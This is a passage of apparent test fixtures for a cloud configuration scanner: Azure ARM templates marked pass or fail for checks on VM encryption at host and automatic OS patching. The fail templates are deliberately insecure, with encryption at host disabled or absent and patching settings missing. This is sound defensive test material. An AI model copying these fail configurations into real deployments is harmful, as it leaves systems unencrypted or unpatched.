\"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSize')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\",\n              \"caching\": \"ReadWrite\",\n              \"managedDisk\": {\n                                \"diskEncryptionSet\": {\n                                    \"id\": \"[parameters('diskEncryptionSetId')]\"\n                                },\n                                \"storageAccountType\": \"Premium_LRS\"\n                            }\n            },\n            \"dataDisks\": [\n                {\n                    \"lun\": 0,\n                    \"createOption\": \"Empty\",\n                    \"caching\": \"None\",\n                    \"managedDisk\": {\n                        \"diskEncryptionSet\": {\n                            \"id\": \"[parameters('diskEncryptionSetId')]\"\n                        },\n                        \"storageAccountType\": \"Premium_LRS\"\n                    },\n                    \"diskSizeGB\": 64\n                }\n            ],\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"securityProfile\":{\n            \"encryptionAtHost\": \"true\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPassword')]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        },\n                        \"loadBalancerBackendAddressPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/backendAddressPools/', variables('bePoolName'))]\"\n                          }\n                        ],\n                        \"loadBalancerInboundNatPools\": [\n                          {\n                            \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/loadBalancers/', variables('loadBalancerName'), '/inboundNatPools/', variables('natPoolName'))]\"\n                          }\n                        ]\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/vm-fail.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"virtualMachineName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"defaultValue\": \"\"\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\"\n    },\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"diskName\": \"[concat(parameters('virtualMachineName'), '_osDisk')]\",\n    \"dataDiskName\": \"[concat(parameters('virtualMachineName'), '_dataDisk1')]\",\n    \"networkInterfaceName\": \"[toLower(parameters('virtualMachineName'))]\",\n    \"publicIpAddressName\": \"[concat(toLower(parameters('virtualMachineName')),'_ip')]\",\n    \"vnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_vnet')]\",\n    \"subnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_subnet')]\",\n    \"imageReference\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"2019-Datacenter\",\n      \"version\": \"latest\"\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('vnetName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.2.3.0/24\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"provisioningState\": \"Succeeded\",\n              \"addressPrefix\": \"10.2.3.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"name\": \"[variables('publicIpAddressName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2019-06-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('networkInterfaceName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnetName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"fail\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[parameters('virtualMachineName')]\",\n          \"adminUsername\": \"adminUserIsTest\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"securityProfile\":{\n          \"encryptionAtHost\": \"false\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[variables('diskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Premium_LRS\",\n              \"diskEncryptionSet\": {\n                \"id\": \"[parameters('diskEncryptionSetId')]\"\n              }\n            }\n          },\n          \"dataDisks\": [\n            {\n              \"name\": \"[variables('dataDiskName')]\",\n              \"diskSizeGB\": \"128\",\n              \"lun\": \"0\",\n              \"createOption\": \"Empty\",\n              \"managedDisk\": {\n                \"storageAccountType\": \"Premium_LRS\",\n                \"diskEncryptionSet\": {\n                  \"id\": \"[parameters('diskEncryptionSetId')]\"\n                }\n              }\n            }\n          ]\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/vm-fail2.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"virtualMachineName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"defaultValue\": \"\"\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\"\n    },\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"diskName\": \"[concat(parameters('virtualMachineName'), '_osDisk')]\",\n    \"dataDiskName\": \"[concat(parameters('virtualMachineName'), '_dataDisk1')]\",\n    \"networkInterfaceName\": \"[toLower(parameters('virtualMachineName'))]\",\n    \"publicIpAddressName\": \"[concat(toLower(parameters('virtualMachineName')),'_ip')]\",\n    \"vnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_vnet')]\",\n    \"subnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_subnet')]\",\n    \"imageReference\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"2019-Datacenter\",\n      \"version\": \"latest\"\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('vnetName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.2.3.0/24\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"provisioningState\": \"Succeeded\",\n              \"addressPrefix\": \"10.2.3.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"name\": \"[variables('publicIpAddressName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2019-06-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('networkInterfaceName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnetName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"fail2\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[parameters('virtualMachineName')]\",\n          \"adminUsername\": \"adminUserIsTest\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[variables('diskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Premium_LRS\",\n              \"diskEncryptionSet\": {\n                \"id\": \"[parameters('diskEncryptionSetId')]\"\n              }\n            }\n          },\n          \"dataDisks\": [\n            {\n              \"name\": \"[variables('dataDiskName')]\",\n              \"diskSizeGB\": \"128\",\n              \"lun\": \"0\",\n              \"createOption\": \"Empty\",\n              \"managedDisk\": {\n                \"storageAccountType\": \"Premium_LRS\",\n                \"diskEncryptionSet\": {\n                  \"id\": \"[parameters('diskEncryptionSetId')]\"\n                }\n              }\n            }\n          ]\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMEncryptionAtHostEnabled/vm-pass.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"virtualMachineName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"defaultValue\": \"\"\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_DS3_V2\"\n    },\n    \"diskEncryptionSetId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\"\n    },\n    \"region\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"CentralUSEUAP\"\n    }\n  },\n  \"variables\": {\n    \"diskName\": \"[concat(parameters('virtualMachineName'), '_osDisk')]\",\n    \"dataDiskName\": \"[concat(parameters('virtualMachineName'), '_dataDisk1')]\",\n    \"networkInterfaceName\": \"[toLower(parameters('virtualMachineName'))]\",\n    \"publicIpAddressName\": \"[concat(toLower(parameters('virtualMachineName')),'_ip')]\",\n    \"vnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_vnet')]\",\n    \"subnetName\": \"[concat(toLower(parameters('virtualMachineName')),'_subnet')]\",\n    \"imageReference\": {\n      \"publisher\": \"MicrosoftWindowsServer\",\n      \"offer\": \"WindowsServer\",\n      \"sku\": \"2019-Datacenter\",\n      \"version\": \"latest\"\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('vnetName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.2.3.0/24\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"provisioningState\": \"Succeeded\",\n              \"addressPrefix\": \"10.2.3.0/24\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"sku\": {\n        \"name\": \"Basic\",\n        \"tier\": \"Regional\"\n      },\n      \"name\": \"[variables('publicIpAddressName')]\",\n      \"apiVersion\": \"2019-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"scale\": null,\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\"\n      }\n    },\n    {\n      \"apiVersion\": \"2019-06-01\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('networkInterfaceName')]\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('vnetName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', variables('publicIpAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('vnetName'), variables('subnetName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"pass\",\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2020-06-01\",\n      \"location\": \"[parameters('region')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]\"\n      ],\n      \"properties\": {\n        \"osProfile\": {\n          \"computerName\": \"[parameters('virtualMachineName')]\",\n          \"adminUsername\": \"adminUserIsTest\",\n          \"adminPassword\": \"[parameters('adminPassword')]\"\n        },\n        \"securityProfile\":{\n          \"encryptionAtHost\": \"true\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[variables('diskName')]\",\n            \"createOption\": \"FromImage\",\n            \"managedDisk\": {\n              \"storageAccountType\": \"Premium_LRS\",\n              \"diskEncryptionSet\": {\n                \"id\": \"[parameters('diskEncryptionSetId')]\"\n              }\n            }\n          },\n          \"dataDisks\": [\n            {\n              \"name\": \"[variables('dataDiskName')]\",\n              \"diskSizeGB\": \"128\",\n              \"lun\": \"0\",\n              \"createOption\": \"Empty\",\n              \"managedDisk\": {\n                \"storageAccountType\": \"Premium_LRS\",\n                \"diskEncryptionSet\": {\n                  \"id\": \"[parameters('diskEncryptionSetId')]\"\n                }\n              }\n            }\n          ]\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('networkInterfaceName'))]\"\n            }\n          ]\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/fail-windows.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"singlePlacementGroup\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"scaleInPolicy\": {\n            \"type\": \"object\"\n        },\n        \"overprovision\": {\n            \"type\": \"bool\"\n        },\n        \"upgradePolicy\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"adminPassword\": {\n            \"type\": \"secureString\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"fail-windows\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"singlePlacementGroup\": \"[parameters('singlePlacementGroup')]\",\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"MicrosoftWindowsServer\",\n                            \"offer\": \"WindowsServer\",\n                            \"sku\": \"2019-datacenter-gensecond\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\",\n                                                    \"loadBalancerInboundNatPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerInboundNatPools]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.WindowsAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": false,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"adminPassword\": \"[parameters('adminPassword')]\",\n                        \"windowsConfiguration\": {\n                            \"provisionVmAgent\": true\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Uniform\",\n                \"scaleInPolicy\": \"[parameters('scaleInPolicy')]\",\n                \"overprovision\": \"[parameters('overprovision')]\",\n                \"upgradePolicy\": {\n                    \"mode\": \"[parameters('upgradePolicy')]\"\n                },\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMScaleSetsAutoOSImagePatchingEnabled/fail-windows2.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"adminPassword\": {\n            \"type\": \"secureString\"\n        },\n        \"patchMode\": {\n            \"type\": \"string\"\n        },\n        \"enableHotpatching\": {\n            \"type\": \"bool\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"networkApiVersion\": \"2020-11-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"fail-windows2\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"MicrosoftWindowsServer\",\n                            \"offer\": \"WindowsServer\",\n                            \"sku\": 